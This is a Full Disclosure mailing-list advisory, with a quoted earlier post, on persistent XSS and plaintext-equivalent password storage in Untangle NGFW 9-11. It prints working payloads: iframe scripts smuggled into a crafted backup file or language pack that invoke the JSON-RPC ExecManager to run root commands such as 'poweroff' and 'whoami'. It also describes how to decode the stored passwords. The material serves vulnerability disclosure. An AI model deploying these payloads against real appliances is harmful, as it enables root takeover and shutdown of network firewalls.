Full Disclosure mailing list archives
[Additional vectors] Multiple vulnerabilities in Untangle NGFW 9-11
From: "Calum Hutton" <c.e.hutton () gmx com>
Date: Tue, 28 Apr 2015 03:18:54 +0200
This is a follow up to an earlier post, highlighting an XSS and information disclosure vulnerability in versions of
Untangle 9-11
The previous post is shown in full below this post.
Additional un-patched vectors have been discovered that allow for these issues to be exploited with increased
feasibility.
The vectors exist due to improper handling of uploaded files, and insufficient validation and sanitisation of their
contents.
Two different types of file can be crafted to implement and incorporate the XSS payload highlighted in my previous
post. Because the uploaded file/data integrity is not checked, the Untangle system will save the malicious data from
the crafted file, allowing for persistent XSS that can perform actions as root, via the logged in users authenticated
session and access to the Untangle JSON-RPC API. An example for each file type is shown below:
- Backup file
Untangle backup files are unencrypted tar gzip archives with a .backup file extension. Because these files are not
encrypted, it is trivial to extract and view the file backup contents. This is a problem firstly because there is a
huge amount of sensitive information disclosure in this archive, including the plaintext passwords of Local Directory
users (as mentioned in my previous post). Secondly it means that it is easy to insert malicious data into the file, and
then re-compress and craft the file to appear to be a normal backup file. Through social-engineering, an Admin user
could restore from this malicious file. An example of the data to insert could be a fake malicious port forward rule:
This example adds an iframe in the description field of the port forward rule that causes the Untangle system to shut
down when the port forward page is loaded - network.js
"portForwardRules": {
"javaClass": "java.util.LinkedList",
"list": [
{
"description": "Test <iframe height='1' width='1' srcdoc='<html> <head> <script
type=\"text/javascript\" src=\"/ext4/ext-all-debug.js\"></script> <script type=\"text/javascript\"
src=\"/jsonrpc/jsonrpc.js\"></script> <script type=\"text/javascript\" src=\"/script/i18n.js\"></script>
<script type=\"text/javascript\" src=\"script/components.js\"></script> <script type=\"text/javascript\"
src=\"script/main.js\"></script> </head> <body onload=\"exec()\"> <script type=\"text/javascript\"> function
exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient(\"/webui/JSON-RPC\"); rpc.execManager =
rpc.jsonrpc.UvmContext.execManager(); var cmd = \"poweroff\"; var exit = rpc.execManager.execResult(cmd); } </script>
</body> </html>'></iframe>",
"enabled": false,
"javaClass": "com.untangle.uvm.network.PortForwardRule",
"matchers": {
"javaClass": "java.util.LinkedList",
"list": []
},
"newDestination": "1.2.3.4",
"ruleId": 1,
"simple": false
}
]
},
- Language pack
Untangle language packs are unencrypted zip archives of various .po files that contain translation strings for the
Untangle system. Because these are also unencrypted, and not checked for validity or sanitised, it means that it is
easy to insert malicious data into the file, and then re-compress and craft the file to appear to be a normal language
pack. Through social-engineering, an Admin user could import this malicious language pack into the system. An example
of the data to insert is shown below:
This example adds an iframe in the left navigation bar of the web UI (About tab) that causes the Untangle system to
shut down when any page is loaded - untangle-libuvm.po
#: ../servlets/webui/root/script/main.js:921
#: ../servlets/webui/root/script/config/about.js:16
#: ../servlets/webui/root/script/config/about.js:46
msgid "About"
msgstr "Sur <iframe height='1' width='1' srcdoc='<html> <head> <script type=\"text/javascript\"
src=\"/ext4/ext-all-debug.js\"></script> <script type=\"text/javascript\" src=\"/jsonrpc/jsonrpc.js\"></script>
<script type=\"text/javascript\" src=\"/script/i18n.js\"></script> <script type=\"text/javascript\"
src=\"script/components.js\"></script> <script type=\"text/javascript\" src=\"script/main.js\"></script>
</head> <body onload=\"exec()\"> <script type=\"text/javascript\"> function exec() { var rpc = {}; rpc.jsonrpc
= new JSONRpcClient(\"/webui/JSON-RPC\"); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd =
\"poweroff\"; var exit = rpc.execManager.execResult(cmd); } </script> </body> </html>'></iframe>"
---------------------------------
To: fulldisclosure () seclists org CC: oss-security () lists openwall com Subject: Multiple vulnerabilities in Untangle NGFW 9-11 Date: Sun, 8 Mar 2015 21:32:52 +0000 Multiple issues have been discovered in the Untangle NGFW virtual appliance. The vendor was unresponsive and uncooperative to the researcher. - Persistent XSS leading to root Authentication required Confirmed in versions 9 and 11 (up to rev r39357) Throughout the Untangle user interface there are editable data tables for various user configuration options. An example of this is in: Configuration> Networking> Port Forwards. This table can be edited by clicking add to create a new port forward rule, or directly edited by double-clicking on the table rows themselves. The problem arises from malicious user input into some of the fields of these editable tables, which is not properly sanitised and allows for execution of user supplied Javascript code in the context of the users browser. Because this configuration data is saved into the backend database, this allows for Persistent XSS in each of the vulnerable fields/tables. This XSS attack is particularly devastating due to the fact that the malicious attacker can run commands as root on the virtual appliance, allowing for total system takeover. This is because the Untangle JSON-RPC API has access to functionality provided by the ExecManager class (https://gitorious.org/untangle/src/source/381ad9cb2d1d475bb43814b07bbb0df2d1ae7b58:uvm/api/com/untangle/uvm/ExecManager.java), which by default allows for arbitrary commands to be run as root on the system. A POC demonstrating the issue is below: Insert the following into the srcdoc attribute of a user-controlled iframe in the Description field or another vulnerable field (can also be styled to hide etc): Test <iframe srcdoc='[insert code]'></iframe> (single quotes) Insert: <html> <head> <script type="text/javascript" src="/ext4/ext-all-debug.js"></script> <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script> <script type="text/javascript" src="/script/i18n.js"></script> <script type="text/javascript" src="script/components.js"></script> <script type="text/javascript" src="script/main.js"></script> </head> <body onload="exec()"> <script type="text/javascript"> function exec() { var rpc = {}; rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC"); var serverUID = rpc.jsonrpc.UvmContext.getServerUID(); alert(serverUID); rpc.execManager = rpc.jsonrpc.UvmContext.execManager(); var cmd = "whoami> /tmp/who"; var exit = rpc.execManager.execResult(cmd); alert("Command: " + cmd + " - Exit code: " + exit); } </script> </body> </html> - Information disclosure from Local Directory Authentication required Confirmed in versions 9 and 11, not fixed. The Local Directory interface shows a list of users stored on the Untangle system. Unfortunately, passwords are not sufficiently encrypted to prevent information disclosure. Each user in the local directory interface has an attribute, 'passwordBase64Hash', which is the base64 encoded string of the plaintext password. Because base64 is a bi-directional encoding scheme, the passwordBase64Hash attribute can be trivially decoded into the original plaintext string, revealing the password for each user.
CH _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:
- [Additional vectors] Multiple vulnerabilities in Untangle NGFW 9-11 Calum Hutton (Apr 27)